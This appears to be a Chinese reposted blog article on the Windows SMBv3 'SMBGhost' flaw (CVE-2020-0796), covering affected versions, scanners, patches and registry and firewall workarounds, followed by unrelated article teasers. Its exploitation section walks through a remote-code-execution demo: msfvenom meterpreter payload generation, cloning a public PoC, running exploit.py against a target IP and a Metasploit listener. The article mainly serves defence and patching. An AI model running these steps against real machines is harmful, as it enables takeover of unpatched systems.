SMB漏洞修复

通告背景

2020311日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为CriticalSMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。

漏洞描述

漏洞存在于WindowsSMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。

影响面评估

此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8Windows 8.1Windows 10Windows Server 2012  Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。

受影响的Windows操作系统版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)


漏洞检测篇

git 脚本检测:

GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

python scanner.py <IP>

奇安信检测工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。

腾讯电脑管家SMB漏洞修复工具:

http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。

漏洞利用篇

蓝屏PoC

GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796

使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux

python3 CVE-2020-0796.py <IP>

本地提权PoC

GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

远程利用PoC

GitHub - chompie1337/SMBGhost_RCE_PoC

漏洞演示过程:

1、使用msfvenom生成payload

msfvenom  -p windows/x64/meterpreter/bind_tcp  lport=1234 -f py -o evil.py

2、将evil.py 生成的code,替换到exploit.pyUSER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD

root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

3、运行exploit.py

python3 exploit.py -ip 192.168.172.128

4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler

修复方法

1. 补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center

方法一:给对应的系统打微软出的最新补丁

系统类型

介绍

下载链接

Windows 10 Version 1903 for 32-bit Systems

KB4551762介绍

下载

Windows 10 Version 1903 for ARM64-based Systems

KB4551762介绍

下载

Windows 10 Version 1903 for x64-based Systems

KB4551762介绍

下载

Windows 10 Version 1909 for 32-bit Systems

KB4551762介绍

下载

Windows 10 Version 1909 for ARM64-based Systems

KB4551762介绍

下载

Windows 10 Version 1909 for x64-based Systems

KB4551762介绍

下载

Windows Server, version 1903 (Server Core installation)

KB4551762介绍

下载

Windows Server, version 1909 (Server Core installation)

KB4551762介绍

下载

2. 临时解决方案

如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

方法二:禁用SMBv3压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

方法三:设置防火墙策略关闭相关端口
SMBTCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

方法四:通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!

修复

微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口

PowerShell禁用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

PowerShell重新启用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/737713.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最新免费好用的手机数据恢复软件EasyRecovery易恢复 2024

easyrecovery pro在easyrecovery的基础上进行了全新的升级&#xff0c;对于可恢复的内容进行了深度的开发&#xff0c;easyrecovery pro相比较旧版的easyrecovery而言&#xff0c;可恢复的选项更多&#xff0c;时间跨度也更长。easyrecovery pro简介&#xff1a;1、非常强大的数…

掼蛋的牌型与规律(下篇)

一、三不带 一般出三不带有几种情况&#xff1a;没有对子配、对子和三张数量不匹配、对子成了三连对、对子太大。作为发牌方&#xff0c;首发三不带可以迷惑对手。三不带打出来很难处理&#xff0c;如果接了三不带可能就会将小对子留下&#xff0c;不接又不甘心让对方继续有出牌…

知识积累(四):无

文章目录 1. KL散度2. GELU 激活函数3. 向量运算4. bert4.1 词嵌入4.2 cross-encoder 模型4.3 bert 架构4.4 bert 池化操作 5. Fid 模型&#xff08;Fusion-in-Decoder&#xff09;6. 多分类损失函数6.1 交叉熵损失6.2 softmax 损失 7. t-sne8. NDCG参考资料 1. KL散度 衡量两…

【开发】JavaWeb开发中如何解析JSON格式数据

目录 前言 JSON 的数据类型 Java 解析 JSON 常用于解析 JSON 的第三方库 Jackson Gson Fastjson 使用 Fastjson Fastjson 的优点 Fastjson 的主要对象 JSON 接口 JSONObject 类 JSONArray 类 前言 1W&#xff1a;什么是JSON&#xff1f; JSON 指 JavaScrip t对象表…

打印前端代码

打印定义 <things-unit-web-print id"web-print" template-name"[[templateName]]" template-data"[[templateData]]"></things-unit-web-print> 模板名称 this.templateName "orderwork01"; 模板参数 this.templateD…

业界主流数据加速技术路线

计算存储分离已经成为云计算的一种发展趋势。在计算存储分离之前&#xff0c;普遍采用的是传统的计算存储相互融合的架构&#xff0c;但是这种架构存在一定的问题&#xff0c;比如在集群扩容的时候会面临计算能力和存储能力相互不匹配的问题。用户在某些情况下只需要扩容计算能…

交流负载箱的特点和优势有哪些?

交流负载箱广泛应用于电力系统、新能源、轨道交通、航空航天等领域。它具有以下特点和优势&#xff1a; 1. 灵活性高&#xff1a;交流负载箱可以根据实际需求&#xff0c;调整输出电流、电压、功率等参数&#xff0c;以满足不同场景下的测试需求。同时&#xff0c;它还可以实现…

代码随想录算法训练营Day42 | LeetCode1049. 最后一块石头的重量 II、LeetCode494. 目标和、LeetCode474.一和零

LeetCode1049. 最后一块石头的重量 II 这道题难点在于如何转换成背包问题&#xff0c;其实和上一题和相等子集合基本一样&#xff0c;尽量把石头分成两个重量相等的集合&#xff0c;那么在碰撞之后和就是最小的&#xff0c;石头的重量也可以当作石头的价值&#xff0c;代码也基…

行为型模式

行为型设计模式是面向对象编程中的一种模式&#xff0c;它关注的是对象之间的通信和协作&#xff0c;以实现特定的行为或任务。这些模式通常涉及到对象之间的消息传递、方法调用和协同工作&#xff0c;以达到更好的灵活性和可维护性。 行为型模式用于描述程序在运行时复杂的流程…

App自动化测试之Appium 环境搭建保姆级教程(全网最全)

前言 APP自动化测试运行环境比较复杂&#xff0c;稍微不注意安装就会失败。我见过不少朋友&#xff0c;装了1个星期&#xff0c;Appium 的运行环境还没有搭好的。 搭建环境本身不是一个有难度的工作&#xff0c;但是 Appium 安装过程中确实存在不少隐藏的比较深的坑&#xff…

低代码平台如何选型 盘点国内外主流低代码开发平台

随着数字化转型的加速&#xff0c;低代码开发平台作为一种新型软件开发方式&#xff0c;受到了广泛关注。国内低代码市场也呈现出蓬勃发展的态势&#xff0c;各种低代码平台如雨后春笋般涌现。本文将对国内低代码平台进行盘点&#xff0c;以帮助企业和开发者更好地了解市场情况…

strstr函数、chdir函数、access函数、strdup函数的介绍

1、strstr函数 strstr 是 C 语言中的一个字符串处理函数&#xff0c;用于在一个字符串中查找子字符串的第一次出现。 函数原型 char *strstr(const char *haystack, const char *needle); haystack&#xff1a;要在其中搜索的字符串。needle&#xff1a;要查找的子字符串。 函…

如何正确选择国外服务器的带宽和线路呢?

国外大带宽服务器是一种提供高带宽、高速网络连接和良好稳定性的服务器&#xff0c;但在中国使用这类服务器可能涉及到违反法律法规的风险。因此我无法为你提供相关帮助。接下来和源库一起了解如何正确选择国外服务器的带宽和线路呢? 考虑目标用户的地理位置。如果目标用户主要…

Facebook、亚马逊账号如何养号?

之前我们讨论过很多关于代理器的问题。它们的工作原理是什么?在不同的软件中要使用那些代理服务器?这些代理服务器之间的区别是什么?什么是反检测浏览器等等。 除了这些问题&#xff0c;相信很多人也会关心在使用不同平台的时代理器的选择问题。比如&#xff0c;为什么最好…

题目 2159: 区间合并

题目描述: 给定 n 个闭区间 [ai; bi]&#xff0c;其中i1,2,...,n。任意两个相邻或相交的闭区间可以合并为一个闭区间。例如&#xff0c;[1;2] 和 [2;3] 可以合并为 [1;3]&#xff0c;[1;3] 和 [2;4] 可以合并为 [1;4]&#xff0c;但是[1;2] 和 [3;4] 不可以合并。 我们的任务是…

【TypeScript系列】函数进阶

函数进阶 函数是任何应用程序的基本构建块&#xff0c;它们可以是本地函数、从另一个模块导入的函数或者类的方法。它们也是值&#xff0c;并且与其他值一样&#xff0c;TypeScript 有很多方法来描述函数的调用方式。让我们来学习如何编写用于描述函数的类型。 函数类型表达式…

错误票据 刷题笔记

开数组 读入数据 记录最小值和最大值 每次读入x; 让a[x]; 从最小值开始 向上扫 当扫到a[x]0时候为断号 扫到a[x]>1为重号&#xff1b; 该题的小技巧 未知长度的数据的读入方式 1.首先在头文件敲上 #include<sstream> #include<string> #include<…

校园外卖创业中的信息差,了解这些创业不迷路

外卖已经成为大学生日常生活的重要组成部分&#xff0c;但大部分高校对外卖都有着严格的管理&#xff0c;外卖取餐不便、配送时间过长、拿错餐等问题频出&#xff0c;基于此校园外卖创业成了高校市场的热门项目。 本文就校园外卖创业中存在的信息差展开分析&#xff0c;帮你理…

深入理解C语言中的枚举

目录 1. 枚举的定义 2. 枚举常量的赋值 3. 枚举的使用示例 4. 注意事项 在C语言中&#xff0c;枚举&#xff08;Enum&#xff09;是一种用户定义的数据类型&#xff0c;用于定义一组具名的整型常量。枚举常常用于提高代码的可读性和可维护性&#xff0c;使程序更易于理解。…

window Zookeeper 启动;

文章目录 前言一、Zookeeper 介绍&#xff1a;二、window 使用&#xff1a;2.1 下载&#xff1a;2.2 启动2.3 连接&#xff1a; 总结 前言 本文对window Zookeeper zk 启动 进行介绍&#xff1b; 一、Zookeeper 介绍&#xff1a; ZooKeeper 是一个开源的分布式协调服务&#…